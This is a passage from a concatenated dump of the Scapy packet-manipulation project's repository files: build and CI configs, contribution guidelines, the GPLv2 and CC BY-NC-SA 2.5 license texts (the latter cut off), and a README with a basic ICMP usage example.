'/^BuildArch/aBuildRequires: wireshark' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-ipython' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-brotli' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-can' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-cbor2' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-coverage' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-cryptography' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-tkinter' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: python3-zstandard' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: samba' .packit_rpm/scapy.spec" - "sed -i '/^BuildArch/aBuildRequires: samba-client' .packit_rpm/scapy.spec" jobs: - job: copr_build trigger: pull_request manual_trigger: true enable_net: true targets: - fedora-latest-stable-aarch64 - fedora-latest-stable-i386 - fedora-latest-stable-ppc64le - fedora-latest-stable-s390x - fedora-latest-stable-x86_64 - fedora-rawhide-aarch64 - fedora-rawhide-i386 - fedora-rawhide-ppc64le - fedora-rawhide-s390x - fedora-rawhide-x86_64 ================================================ FILE: .readthedocs.yml ================================================ # Readthedocs config file. # See https://docs.readthedocs.io/en/stable/config-file/v2.html#supported-settings version: 2 sphinx: configuration: doc/scapy/conf.py formats: - epub - pdf build: os: ubuntu-22.04 tools: python: "3.12" # To show the correct Scapy version, we must unshallow # https://docs.readthedocs.io/en/stable/build-customization.html#unshallow-git-clone jobs: post_checkout: - git fetch --unshallow || true # https://docs.readthedocs.io/en/stable/config-file/v2.html#python python: install: - method: pip path: . extra_requirements: - doc ================================================ FILE: .travis.yml ================================================ language: python dist: bionic # OpenSSL 1.1.1 cache: directories: - $HOME/.cache/pip - .tox jobs: include: # run custom root tests # isotp - os: linux python: 3.8 env: - TOXENV=py38-isotp_kernel_module,codecov install: - bash .config/ci/install.sh - python -c "from scapy.all import conf; print(repr(conf))" script: bash .config/ci/test.sh ================================================ FILE: CONTRIBUTING.md ================================================ # How to contribute Contributors are essential to Scapy (as they are to most open source projects). Here is some advice to help you help the project! ## Project objectives We try to keep Scapy as powerful as possible, to support as many protocols and platforms as possible, to keep and make the code (and the commit history) as clean as possible. Since Scapy can be slow and memory consuming, we try to limit CPU and memory usage, particularly in parts of the code often called. ## What to contribute You want to spend time working on Scapy but have no (or little) idea what to do? You can look for open issues [labeled "contributions wanted"](https://github.com/secdev/scapy/labels/contributions%20wanted), or look at the [contributions roadmap](https://github.com/secdev/scapy/issues/399) If you have any ideas of useful contributions that you cannot (or do not want to) do yourself, open an issue and include "contributions wanted" in the title. Once you have chosen a contribution, open an issue to let other people know you're working on it (or assign the existing issue to yourself) and track your progress. You might want to ask whether you're working in an appropriate direction, to avoid the frustration of seeing your contribution rejected after a lot of work. ## Reporting issues ### Bugs If you have installed Scapy through a package manager (from your Linux or BSD system, from PyPI, etc.), please get and install the current development code, and check that the bug still exists before submitting an issue. If you're not sure whether a behavior is a bug or not, submit an issue and ask, don't be shy! ### Enhancements / feature requests If you want a feature in Scapy, but cannot implement it yourself or want some hints on how to do that, open an issue and include "enhancement" in the title. Explain if possible the API you would like to have (e.g., give examples of function calls, packet creations, etc.). ## Submitting pull requests ### Coding style & conventions - The code should be PEP-8 compliant; you can check your code with [pep8](https://pypi.python.org/pypi/pep8) and the command `tox -e flake8` - [Pylint](http://www.pylint.org/) can help you write good Python code (even if respecting Pylint rules is sometimes either too hard or even undesirable; human brain needed!). - [Google Python Style Guide](https://google.github.io/styleguide/pyguide.html) is a nice read! - Avoid creating unnecessary `list` objects, particularly if they can be huge (e.g., when possible, use `for line in fdesc` instead of `for line in fdesc.readlines()`; more generally prefer generators over lists). ### Tests Please consider adding tests for your new features or that trigger the bug you are fixing. This will prevent a regression from being unnoticed. Do not use the variable `_` in your tests, as it could break them. If you find yourself in a situation where your tests locally succeed but fail if executed on the CI, try to enable the debugging option for the dissector by setting `conf.debug_dissector = 1`. ### New protocols New protocols can go either in `scapy/layers` or to `scapy/contrib`. Protocols in `scapy/layers` should be usually found on common networks, while protocols in `scapy/contrib` should be uncommon or specific. To be precise, `scapy/layers` protocols should not be importing `scapy/contrib` protocols, whereas `scapy/contrib` protocols may import both `scapy/contrib` and `scapy/layers` protocols. The detailed requirements are explained in [Design patterns](https://scapy.readthedocs.io/en/latest/build_dissect.html#design-patterns) on Scapy's doc. ### Features Protocol-related features should be implemented within the same module as the protocol layers(s) (e.g., `traceroute()` is implemented in `scapy/layers/inet.py`). Other features may be implemented in a module (`scapy/modules`) or a contribution (`scapy/contrib`). ### Core If you contribute to Scapy's core (e.g., `scapy/base_classes.py`, `scapy/packet.py`, etc.), please be very careful with performances and memory footprint, as it is easy to write Python code that wastes memory or CPU cycles. As an example, `Packet().__init__()` is called each time a **layer** is parsed from a string (during a network capture or a PCAP file read). Adding inefficient code here will have a disastrous effect on Scapy's performances. ### Logging Scapy has an internal logging system based on `logging`. In the past, Scapy was generally too verbose on packet dissection, leading many new users to disable all logs, which makes it harder for them to find real issues afterwards. You should comply with these guidelines to make sure logging in Scapy remains helpful. - If you want the log message to only be displayed when using Scapy through the interactive console, use `scapy.error.log_interactive`. You are free to use any log level. - Otherwise, always use `scapy.error.log_runtime`. - On **packet dissection**, of *packet layers* you should remain **AT OR BELOW the `logging.INFO` level**, unless the issue is critical or tied to security. For instance: "DNS Decompression loop detected !" is allowed as WARNING, but "Could not dissect packet" or "Invalid value detected" are not. - On **packet build** or **any command** or function that is called by the user or the root program, you are **free and welcomed** to use the WARNING or ERROR levels, to signal that a packet was wrongly built for instance. - If you are working on Scapy's core, you may use: `scapy.error.log_loading` only while Scapy is loading, to display import errors for instance. ### Code review Maintainers tend to be picky, and you might feel frustrated that your code (which is perfectly working in your use case) is not merged faster. Please don't be offended, and keep in mind that maintainers are concerned about code maintainability and readability, commit history (we use the history a lot, for example to find regressions or understand why certain decisions have been made), performances, integration in Scapy, API consistency (so that someone who knows how to use Scapy will know how to use your code), etc. **Thanks for reading, happy hacking!** ================================================ FILE: LICENSE ================================================ GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. , 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. ================================================ FILE: MANIFEST.in ================================================ include MANIFEST.in include LICENSE include run_scapy prune test ================================================ FILE: README.md ================================================ # Scapy   Scapy [![Scapy unit tests](https://github.com/secdev/scapy/actions/workflows/unittests.yml/badge.svg?branch=master&event=push)](https://github.com/secdev/scapy/actions/workflows/unittests.yml?query=event%3Apush) [![Codecov Status](https://codecov.io/gh/secdev/scapy/branch/master/graph/badge.svg)](https://codecov.io/gh/secdev/scapy) [![Codacy Badge](https://api.codacy.com/project/badge/Grade/30ee6772bb264a689a2604f5cdb0437b)](https://app.codacy.com/gh/secdev/scapy/dashboard) [![PyPI Version](https://img.shields.io/pypi/v/scapy.svg)](https://pypi.python.org/pypi/scapy/) [![License: GPL v2](https://img.shields.io/badge/License-GPL%20v2-blue.svg)](LICENSE) [![Join the chat at https://gitter.im/secdev/scapy](https://badges.gitter.im/secdev/scapy.svg)](https://gitter.im/secdev/scapy) Scapy is a powerful Python-based interactive packet manipulation program and library. It is able to forge or decode packets of a wide number of protocols, send them on the wire, capture them, store or read them using pcap files, match requests and replies, and much more. It is designed to allow fast packet prototyping by using default values that work. It can easily handle most classical tasks like scanning, tracerouting, probing, unit tests, attacks or network discovery (it can replace `hping`, 85% of `nmap`, `arpspoof`, `arp-sk`, `arping`, `tcpdump`, `wireshark`, `p0f`, etc.). It also performs very well at a lot of other specific tasks that most other tools can't handle, like sending invalid frames, injecting your own 802.11 frames, combining techniques (VLAN hopping+ARP cache poisoning, VoIP decoding on WEP protected channel, ...), etc. Scapy supports Python 3.7+. It's intended to be cross platform, and runs on many different platforms (Linux, OSX, \*BSD, and Windows). ## Getting started Scapy is usable either as a **shell** or as a **library**. For further details, please head over to [Getting started with Scapy](https://scapy.readthedocs.io/en/latest/introduction.html), which is part of the documentation. ### Shell demo ![Scapy install demo](https://secdev.github.io/files/doc/animation-scapy-install.svg) Scapy can easily be used as an interactive shell to interact with the network. The following example shows how to send an ICMP Echo Request message to `github.com`, then display the reply source IP address: ```python sudo ./run_scapy Welcome to Scapy >>> p = IP(dst="github.com")/ICMP() >>> r = sr1(p) Begin emission: .Finished to send 1 packets. * Received 2 packets, got 1 answers, remaining 0 packets >>> r[IP].src '192.30.253.113' ``` ### Resources The [documentation](https://scapy.readthedocs.io/en/latest/) contains more advanced use cases, and examples. Other useful resources: - [Scapy in 20 minutes](https://github.com/secdev/scapy/blob/master/doc/notebooks/Scapy%20in%2015%20minutes.ipynb) - [Interactive tutorial](https://scapy.readthedocs.io/en/latest/usage.html#interactive-tutorial) (part of the documentation) - [The quick demo: an interactive session](https://scapy.readthedocs.io/en/latest/introduction.html#quick-demo) (some examples may be outdated) - [HTTP/2 notebook](https://github.com/secdev/scapy/blob/master/doc/notebooks/HTTP_2_Tuto.ipynb) - [TLS notebooks](https://github.com/secdev/scapy/blob/master/doc/notebooks/tls) ## [Installation](https://scapy.readthedocs.io/en/latest/installation.html) Scapy works without any external Python modules on Linux and BSD like operating systems. On Windows, you need to install some mandatory dependencies as described in [the documentation](http://scapy.readthedocs.io/en/latest/installation.html#windows). On most systems, using Scapy is as simple as running the following commands: ```bash git clone https://github.com/secdev/scapy cd scapy ./run_scapy ``` To benefit from all Scapy features, such as plotting, you might want to install Python modules, such as `matplotlib` or `cryptography`. See the [documentation](http://scapy.readthedocs.io/en/latest/installation.html) and follow the instructions to install them. ## License Scapy's code, tests and tools are licensed under GPL v2. The documentation (everything unless marked otherwise in `doc/`, and except the logo) is licensed under CC BY-NC-SA 2.5. ## Contributing Want to contribute? Great! Please take a few minutes to [read this](CONTRIBUTING.md)! ================================================ FILE: doc/LICENSE ================================================ Creative Commons Attribution-NonCommercial-ShareAlike 2.5 CREATIVE COMMONS CORPORATION IS NOT A LAW FIRM AND DOES NOT PROVIDE LEGAL SERVICES. DISTRIBUTION OF THIS LICENSE DOES NOT CREATE AN ATTORNEY-CLIENT RELATIONSHIP. CREATIVE COMMONS PROVIDES THIS INFORMATION ON AN "AS-IS" BASIS. CREATIVE COMMONS MAKES NO WARRANTIES REGARDING THE INFORMATION PROVIDED, AND DISCLAIMS LIABILITY FOR DAMAGES RESULTING FROM ITS USE. License THE WORK (AS DEFINED BELOW) IS PROVIDED UNDER THE TERMS OF THIS CREATIVE COMMONS PUBLIC LICENSE ("CCPL" OR "LICENSE"). THE WORK IS PROTECTED BY COPYRIGHT AND/OR OTHER APPLICABLE LAW. ANY USE OF THE WORK OTHER THAN AS AUTHORIZED UNDER THIS LICENSE OR COPYRIGHT LAW IS PROHIBITED. BY EXERCISING ANY RIGHTS TO THE WORK PROVIDED HERE, YOU ACCEPT AND AGREE TO BE BOUND BY THE TERMS OF THIS LICENSE. THE LICENSOR GRANTS YOU THE RIGHTS CONTAINED HERE IN CONSIDERATION OF YOUR ACCEPTANCE OF SUCH TERMS AND CONDITIONS. 1. Definitions a. "Collective Work" means a work, such as a periodical issue, anthology or encyclopedia, in which the Work in its entirety in unmodified form, along with a number of other contributions, constituting separate and independent works in themselves, are assembled into a collective whole. A work that constitutes a Collective Work will not be considered a Derivative Work (as defined below) for the purposes of this License. b. "Derivative Work" means a work based upon the Work or upon the Work and other pre-existing works, such as a translation, musical arrangement, dramatization, fictionalization, motion picture version, sound recording, art reproduction, abridgment, condensation, or any other form in which the Work may be recast, transformed, or adapted, except that a work that constitutes a Collective Work will not be considered a Derivative Work for the purpose of this License. For the avoidance of doubt, where the Work is a musical composition or sound recording, the synchronization of the Work in timed-relation with a moving image ("synching") will be considered a Derivative Work for the purpose of this License. c. "Licensor" means the individual or entity that offers the Work under the terms of this License. d. "Original Author" means the individual or entity who created the Work. e. "Work" means the copyrightable work of authorship offered under the terms of this License. f. "You" means an individual or entity exercising rights under this License who has not previously violated the terms of this License with respect to the Work, or who has received express permission from the Licensor to exercise rights under this License despite a previous violation. g. "License Elements" means the following high-level license attributes as selected by Licensor and indicated in the title of this License: Attribution, Noncommercial, ShareAlike. 2. Fair Use Rights. Nothing in this license is intended to reduce, limit, or restrict any rights arising from fair use, first sale or other limitations on the exclusive rights of the copyright owner under copyright law or other applicable laws. 3. License Grant. Subject to the terms and conditions of this License, Licensor hereby grants You a worldwide, royalty-free, non-exclusive, perpetual (for the duration of the applicable copyright) license to exercise the rights in the Work as stated below: a. to reproduce the Work, to incorporate the Work into one or more Collective Works, and to reproduce the Work as incorporated in the Collective Works; b. to create and reproduce Derivative Works; c. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission the Work including as incorporated in Collective Works; d. to distribute copies or phonorecords of, display publicly, perform publicly, and perform publicly by means of a digital audio transmission Derivative Works; The above rights may be exercised in all media and formats whether now known or hereafter devised. The above rights include the right to make such modifications as are technically necessary to exercise the rights in other media and formats. All rights not expressly granted by Licensor are hereby reserved, including but not limited to the rights set forth in Sections 4(e) and 4(f). 4. Restrictions. The license granted in Section 3 above is expressly made subject to and limited by the following restrictions: a. You may distribute, publicly display, publicly perform, or publicly digitally perform the Work only under the terms of this License, and You must include a copy of, or the Uniform Resource Identifier for, this License with every copy or phonorecord of the Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Work that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder. You may not sublicense the Work. You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Work itself to be made subject to the terms of this License. If You create a Collective Work, upon notice from any Licensor You must, to the extent practicable, remove from the Collective Work any credit as required by clause 4(d), as requested. If You create a Derivative Work, upon notice from any Licensor You must, to the extent practicable, remove from the Derivative Work any credit as required by clause 4(d), as requested. b. You may distribute, publicly display, publicly perform, or publicly digitally perform a Derivative Work only under the terms of this License, a later version of this License with the same License Elements as this License, or a Creative Commons iCommons license that contains the same License Elements as this License (e.g. Attribution-NonCommercial-ShareAlike 2.5 Japan). You must include a copy of, or the Uniform Resource Identifier for, this License or other license specified in the previous sentence with every copy or phonorecord of each Derivative Work You distribute, publicly display, publicly perform, or publicly digitally perform. You may not offer or impose any terms on the Derivative Works that alter or restrict the terms of this License or the recipients' exercise of the rights granted hereunder, and You must keep intact all notices that refer to this License and to the disclaimer of warranties. You may not distribute, publicly display, publicly perform, or publicly digitally perform the Derivative Work with any technological measures that control access or use of the Work in a manner inconsistent with the terms of this License Agreement. The above applies to the Derivative Work as incorporated in a Collective Work, but this does not require the Collective Work apart from the Derivative Work itself to be made subject to the terms of this License. c. You may not exercise any of the rights granted to You in Section 3 above in any manner that is primarily intended for or directed toward commercial advantage or private monetary compensation. The exchange of the Work for other copyrighted works by means of digital file-sharing or otherwise shall not be considered to be intended for or directed toward commercial advantage or private monetary compensation, provided there is no payment of any monetary compensation in connection with the exchange of copyrighted works. d. If you distribute, publicly display, publicly perform, or publicly digitally perform the Work or any Derivative Works or Collective Works, You must keep intact all copyright notices for the Work and provide, reasonable to the medium or means You are utilizing: (i) the name of the Original Author (or pseudonym, if applicable) if supplied, and/or (ii) if the Original Author and/or Licensor designate another party or parties (e.g. a sponsor institute, publishing entity, journal) for attribution in Licensor's copyright notice, terms of service or by other reasonable means, the name of such party or parties; the title of the Work if supplied; to the extent reasonably practicable, the Uniform Resource Identifier, if any, that Licensor specifies to be associated with the Work, unless such URI does not refer to the copyright notice or licensing information for the Work; and in the case of a Derivative Work, a credit identifying the use of the Work in the Derivative Work (e.g., "French translation of the Work by Original Author," or "Screenplay based on original Work by Original Author"). Such credit may be implemented in any reasonable manner; provided, however, that in the case of a Derivative Work or Collective Work, at a minimum such credit will appear where any other comparable authorship credit appears and in a manner at least as prominent as such other comparable authorship credit. e. For the avoidance of doubt, where the Work is a musical composition: i. Performance Royalties Under Blanket Licenses. Licensor reserves the exclusive right to collect, whether individually or via a performance rights society (e.g. ASCAP, BMI, SESAC), royalties for the public performance or public digital performance (e.g. webcast) of the Work if that performance is primarily intended for or directed toward commercial advantage or private monetary compensation. ii. Mechanical Rights and Statutory Royalties. Licensor reserves the exclusive right to collect, whether individually or via a music rights agency or designated agent (e.g. Harry Fox Agency), royalties for any phonorecord You create from the Work ("cover version") and distribute, subject to the compulsory license created by 17 USC Section 115 of the US Copyright Act (or the equivalent in other jurisdictions), if Your distribution of such cover version is primarily intended for or directed toward commercial advantage or private monetary compensation. f. Webcasting Rights and Statutory Royalties. For the avoidance of doubt, where the Work is a sound recording, Licensor reserves the exclusive right to collect, whether individually or via a performance-rights society (e.g. SoundExchange), royalties for the public digital performance (e.g. webcast) of the Work, subject to the compulsory license created by 17 USC Section 114 of the US Copyright Act (or the equivalent in other jurisdictions), if Your public digital performance is primarily intended for or directed toward commercial advantage or private monetary compensation. 5. Representations, Warranties and Disclaimer UNLESS OTHERWISE MUTUALLY AGREED TO BY THE PARTIES IN WRITING, LICENSOR OFFERS THE WORK AS-IS AND MAKES NO REPRESENTATIONS OR WARRANTIES OF ANY KIND CONCERNING THE WORK, EXPRESS, IMPLIED, STATUTORY OR OTHERWISE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF TITLE, MERCHANTIBILITY, FITNESS FOR A PARTICULAR PURPOSE, NONINFRINGEMENT, OR THE ABSENCE OF LATENT OR OTHER DEFECTS, ACCURACY, OR THE PRESENCE OF ABSENCE OF ERRORS, WHETHER OR NOT DISCOVERABLE. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF IMPLIED WARRANTIES, SO SUCH EXCLUSION MAY NOT APPLY TO YOU. 6. Limitation on Liability. EXCEPT TO THE EXTENT REQUIRED BY APPLICABLE LAW, IN NO EVENT WILL LICENSOR BE LIABLE TO YOU ON ANY LEGAL THEORY FOR ANY SPECIAL, INCIDENTAL, CONSEQUENTIAL, PUNITIVE OR EXEMPLARY DAMAGES ARISING OUT OF THIS LICENSE OR THE USE OF THE WORK, EVEN IF LICENSOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 7. Termination a. This License and the rights granted hereunder will terminate automatically upon any breach by You of the terms of this License. Individuals or entities who have received Derivative Works or Collective Works from You under this License, however, will not have their licenses terminated provided such individuals or entities remain in full compliance with those licenses. Sections 1, 2, 5, 6, 7, and 8 will survive any termination of this License. b. Subject to the above terms and conditions, the license granted here is perpetual (for the duration of the applicable copyright in the Work). Notwithstanding the above, Licensor reserves the right to release the Work under different license terms or to stop distributing the Work at any time; provided, however that any such election will not serve to withdraw this License (or any other license that has been, or is required to be, granted under the terms of this License), and this License will continue in full force and effect unless terminated as stated above. 8. Miscellaneous a. Each time You distribute or publicly digitally perform the Work or a Collective Work, the Licensor offers to the recipient a license to the Work on the same terms and conditions as the license granted to You under this License. b. Each time You distribute or publicly digitally perform a 